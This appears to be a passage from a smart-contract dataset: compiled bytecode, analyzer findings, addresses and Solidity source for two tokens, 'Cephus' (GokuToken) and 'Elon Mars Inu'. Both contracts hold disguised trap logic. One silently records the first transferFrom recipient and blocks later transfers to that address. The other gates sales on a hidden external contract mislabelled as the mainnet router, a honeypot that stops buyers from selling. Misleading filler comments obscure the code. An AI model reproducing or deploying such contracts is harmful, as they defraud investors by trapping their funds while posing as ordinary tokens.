8091505092915050565b600061253b612186565b905060006125528284611c4090919063ffffffff16565b90506125a681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126038260065461248990919063ffffffff16565b60068190555061261e816007546124d390919063ffffffff16565b6007819055505050565b6000806000806126546064612646888a611c4090919063ffffffff16565b611cbb90919063ffffffff16565b9050600061267e6064612670888b611c4090919063ffffffff16565b611cbb90919063ffffffff16565b905060006126a782612699858c61248990919063ffffffff16565b61248990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126d78589611c4090919063ffffffff16565b905060006126ee8689611c4090919063ffffffff16565b905060006127058789611c4090919063ffffffff16565b9050600061272e82612720858761248990919063ffffffff16565b61248990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061275a612755846130a0565b61307b565b9050808382526020820190508285602086028201111561277d5761277c61340b565b5b60005b858110156127ad578161279388826127b7565b845260208401935060208301925050600181019050612780565b5050509392505050565b6000813590506127c681613721565b92915050565b6000815190506127db81613721565b92915050565b600082601f8301126127f6576127f5613406565b5b8135612806848260208601612747565b91505092915050565b60008135905061281e81613738565b92915050565b60008151905061283381613738565b92915050565b6000813590506128488161374f565b92915050565b60008151905061285d8161374f565b92915050565b60006020828403121561287957612878613415565b5b6000612887848285016127b7565b91505092915050565b6000602082840312156128a6576128a5613415565b5b60006128b4848285016127cc565b91505092915050565b600080604083850312156128d4576128d3613415565b5b60006128e2858286016127b7565b92505060206128f3858286016127b7565b9150509250929050565b60008060006060848603121561291657612915613415565b5b6000612924868287016127b7565b9350506020612935868287016127b7565b925050604061294686828701612839565b9150509250925092565b6000806040838503121561296757612966613415565b5b6000612975858286016127b7565b925050602061298685828601612839565b9150509250929050565b6000602082840312156129a6576129a5613415565b5b600082013567ffffffffffffffff8111156129c4576129c3613410565b5b6129d0848285016127e1565b91505092915050565b6000602082840312156129ef576129ee613415565b5b60006129fd8482850161280f565b91505092915050565b600060208284031215612a1c57612a1b613415565b5b6000612a2a84828501612824565b91505092915050565b600060208284031215612a4957612a48613415565b5b6000612a5784828501612839565b91505092915050565b600080600060608486031215612a7957612a78613415565b5b6000612a878682870161284e565b9350506020612a988682870161284e565b9250506040612aa98682870161284e565b9150509250925092565b6000612abf8383612acb565b60208301905092915050565b612ad481613236565b82525050565b612ae381613236565b82525050565b6000612af4826130dc565b612afe81856130ff565b9350612b09836130cc565b8060005b83811015612b3a578151612b218882612ab3565b9750612b2c836130f2565b925050600181019050612b0d565b5085935050505092915050565b612b5081613248565b82525050565b612b5f8161328b565b82525050565b6000612b70826130e7565b612b7a8185613110565b9350612b8a81856020860161329d565b612b938161341a565b840191505092915050565b6000612bab602383613110565b9150612bb68261342b565b604082019050919050565b6000612bce602a83613110565b9150612bd98261347a565b604082019050919050565b6000612bf1602283613110565b9150612bfc826134c9565b604082019050919050565b6000612c14601b83613110565b9150612c1f82613518565b602082019050919050565b6000612c37601d83613110565b9150612c4282613541565b602082019050919050565b6000612c5a602183613110565b9150612c658261356a565b604082019050919050565b6000612c7d602083613110565b9150612c88826135b9565b602082019050919050565b6000612ca0602983613110565b9150612cab826135e2565b604082019050919050565b6000612cc3602583613110565b9150612cce82613631565b604082019050919050565b6000612ce6602483613110565b9150612cf182613680565b604082019050919050565b6000612d09601783613110565b9150612d14826136cf565b602082019050919050565b6000612d2c601183613110565b9150612d37826136f8565b602082019050919050565b612d4b81613274565b82525050565b612d5a8161327e565b82525050565b6000602082019050612d756000830184612ada565b92915050565b6000604082019050612d906000830185612ada565b612d9d6020830184612ada565b9392505050565b6000604082019050612db96000830185612ada565b612dc66020830184612d42565b9392505050565b600060c082019050612de26000830189612ada565b612def6020830188612d42565b612dfc6040830187612b56565b612e096060830186612b56565b612e166080830185612ada565b612e2360a0830184612d42565b979650505050505050565b6000602082019050612e436000830184612b47565b92915050565b60006020820190508181036000830152612e638184612b65565b905092915050565b60006020820190508181036000830152612e8481612b9e565b9050919050565b60006020820190508181036000830152612ea481612bc1565b9050919050565b60006020820190508181036000830152612ec481612be4565b9050919050565b60006020820190508181036000830152612ee481612c07565b9050919050565b60006020820190508181036000830152612f0481612c2a565b9050919050565b60006020820190508181036000830152612f2481612c4d565b9050919050565b60006020820190508181036000830152612f4481612c70565b9050919050565b60006020820190508181036000830152612f6481612c93565b9050919050565b60006020820190508181036000830152612f8481612cb6565b9050919050565b60006020820190508181036000830152612fa481612cd9565b9050919050565b60006020820190508181036000830152612fc481612cfc565b9050919050565b60006020820190508181036000830152612fe481612d1f565b9050919050565b60006020820190506130006000830184612d42565b92915050565b600060a08201905061301b6000830188612d42565b6130286020830187612b56565b818103604083015261303a8186612ae9565b90506130496060830185612ada565b6130566080830184612d42565b9695505050505050565b60006020820190506130756000830184612d51565b92915050565b6000613085613096565b905061309182826132d0565b919050565b6000604051905090565b600067ffffffffffffffff8211156130bb576130ba6133d7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061312c82613274565b915061313783613274565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561316c5761316b61334a565b5b828201905092915050565b600061318282613274565b915061318d83613274565b92508261319d5761319c613379565b5b828204905092915050565b60006131b382613274565b91506131be83613274565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131f7576131f661334a565b5b828202905092915050565b600061320d82613274565b915061321883613274565b92508282101561322b5761322a61334a565b5b828203905092915050565b600061324182613254565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329682613274565b9050919050565b60005b838110156132bb5780820151818401526020810190506132a0565b838111156132ca576000848401525b50505050565b6132d98261341a565b810181811067ffffffffffffffff821117156132f8576132f76133d7565b5b80604052505050565b600061330c82613274565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561333f5761333e61334a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61372a81613236565b811461373557600080fd5b50565b61374181613248565b811461374c57600080fd5b50565b61375881613274565b811461376357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c1f5abf45a1cd5886d4dcbdc6a99795090216049cf8d3b9c8a71cf53ae25822764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,366 |
0x9da0c387f2b5b98419c25a0f0b6311f4d4544b04
|
/**
* @dev Intended to update the TWAP for a token based on accepting an update call from that token.
* expectation is to have this happen in the _beforeTokenTransfer function of ERC20.
* Provides a method for a token to register its price sourve adaptor.
* Provides a function for a token to register its TWAP updater. Defaults to token itself.
* Provides a function a tokent to set its TWAP epoch.
* Implements automatic closeing and opening up a TWAP epoch when epoch ends.
* Provides a function to report the TWAP from the last epoch when passed a token address.
*/
/*
*******
/*
______ ________ _______ ____ ____ _____ _____ ______
.' ___ ||_ __ ||_ __ \|_ || _||_ _||_ _|.' ____ \
/ .' \_| | |_ \_| | |__) | | |__| | | | | | | (___ \_|
| | | _| _ | ___/ | __ | | ' ' | _.____`.
\ `.___.'\ _| |__/ | _| |_ _| | | |_ \ \__/ / | \____) |
`.____ .'|________||_____| |____||____| `.__.' \______.'
*/
//SPDX-License-Identifier: UNLICENSED
//To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
/**
* @dev Returns the amount of tokens in existence.
*/
pragma solidity >=0.5.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
contract BEP20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance);
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function approve(address spender, uint256 tokens)
public
returns (bool success);
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success);
/**
* @dev Returns true if the value is in the set. O(1).
*/
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(
address indexed tokenOwner,
address indexed spender,
uint256 tokens
);
}
contract ApproveAndCallFallBack {
function receiveApproval(
address from,
uint256 tokens,
address token,
bytes memory data
) public;
}
// TODO needs insert function that maintains order.
// TODO needs NatSpec documentation comment.
/**
* Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index
*/
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
contract TokenBEP20 is BEP20Interface, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint256 _totalSupply;
address public newun;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
constructor() public {
symbol = "CEPHUS";
name = "Cephus";
decimals = 9;
_totalSupply = 1000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance)
{
return balances[tokenOwner];
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function transfer(address to, uint256 tokens)
public
returns (bool success)
{
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens)
public
returns (bool success)
{
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success) {
if (from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining)
{
return allowed[tokenOwner][spender];
}
function approveAndCall(
address spender,
uint256 tokens,
bytes memory data
) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(
msg.sender,
tokens,
address(this),
data
);
return true;
}
function() external payable {
revert();
}
}
contract GokuToken is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {}
}
|
0x6080604052600436106100f35760003560e01c806381f4f3991161008a578063cae9ca5111610059578063cae9ca5114610375578063d4ee1d901461043d578063dd62ed3e14610452578063f2fde38b1461048d576100f3565b806381f4f399146102df5780638da5cb5b1461031257806395d89b4114610327578063a9059cbb1461033c576100f3565b806323b872dd116100c657806323b872dd14610227578063313ce5671461026a57806370a082311461029557806379ba5097146102c8576100f3565b806306fdde03146100f8578063095ea7b31461018257806318160ddd146101cf5780631ee59f20146101f6575b600080fd5b34801561010457600080fd5b5061010d6104c0565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018e57600080fd5b506101bb600480360360408110156101a557600080fd5b506001600160a01b03813516906020013561054e565b604080519115158252519081900360200190f35b3480156101db57600080fd5b506101e46105b5565b60408051918252519081900360200190f35b34801561020257600080fd5b5061020b6105f8565b604080516001600160a01b039092168252519081900360200190f35b34801561023357600080fd5b506101bb6004803603606081101561024a57600080fd5b506001600160a01b03813581169160208101359091169060400135610607565b34801561027657600080fd5b5061027f6107ab565b6040805160ff9092168252519081900360200190f35b3480156102a157600080fd5b506101e4600480360360208110156102b857600080fd5b50356001600160a01b03166107b4565b3480156102d457600080fd5b506102dd6107cf565b005b3480156102eb57600080fd5b506102dd6004803603602081101561030257600080fd5b50356001600160a01b031661084a565b34801561031e57600080fd5b5061020b610883565b34801561033357600080fd5b5061010d610892565b34801561034857600080fd5b506101bb6004803603604081101561035f57600080fd5b506001600160a01b0381351690602001356108ea565b34801561038157600080fd5b506101bb6004803603606081101561039857600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156103c857600080fd5b8201836020820111156103da57600080fd5b803590602001918460018302840111640100000000831117156103fc57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506109ee945050505050565b34801561044957600080fd5b5061020b610b36565b34801561045e57600080fd5b506101e46004803603604081101561047557600080fd5b506001600160a01b0381358116916020013516610b45565b34801561049957600080fd5b506102dd600480360360208110156104b057600080fd5b50356001600160a01b0316610b70565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105465780601f1061051b57610100808354040283529160200191610546565b820191906000526020600020905b81548152906001019060200180831161052957829003601f168201915b505050505081565b3360008181526008602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600080805260076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df546005546105f39163ffffffff610ba916565b905090565b6006546001600160a01b031681565b60006001600160a01b0384161580159061062a57506006546001600160a01b0316155b1561064f57600680546001600160a01b0319166001600160a01b0385161790556106a0565b6006546001600160a01b03848116911614156106a0576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b6001600160a01b0384166000908152600760205260409020546106c9908363ffffffff610ba916565b6001600160a01b0385166000908152600760209081526040808320939093556008815282822033835290522054610706908363ffffffff610ba916565b6001600160a01b03808616600090815260086020908152604080832033845282528083209490945591861681526007909152205461074a908363ffffffff610bbe16565b6001600160a01b0380851660008181526007602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60045460ff1681565b6001600160a01b031660009081526007602052604090205490565b6001546001600160a01b031633146107e657600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b0316331461086157600080fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105465780601f1061051b57610100808354040283529160200191610546565b6006546000906001600160a01b038481169116141561093e576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b3360009081526007602052604090205461095e908363ffffffff610ba916565b33600090815260076020526040808220929092556001600160a01b03851681522054610990908363ffffffff610bbe16565b6001600160a01b0384166000818152600760209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b3360008181526008602090815260408083206001600160a01b038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a3604051638f4ffcb160e01b815233600482018181526024830186905230604484018190526080606485019081528651608486015286516001600160a01b038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610ac5578181015183820152602001610aad565b50505050905090810190601f168015610af25780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610b1457600080fd5b505af1158015610b28573d6000803e3d6000fd5b506001979650505050505050565b6001546001600160a01b031681565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610b8757600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600082821115610bb857600080fd5b50900390565b818101828110156105af57600080fdfea265627a7a72315820ce3ebf4a267ef7c30bb8f965bcd6c7eb0d2b42384062a94b979c114712be7bcb64736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 3,367 |
0xA94916E14BEcc287BBdc509DA8Aa95b82D2f93EE
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/elonmarsinu
// Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function)
// Built-in tax mechanism, can be removed by calling lowerTax function
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=9;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="ELONMARS";
string constant TOKEN_NAME="Elon Mars Inu";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface O{
function amount(address from) external view returns (uint256);
}
contract ERC20Burnable is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(20);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
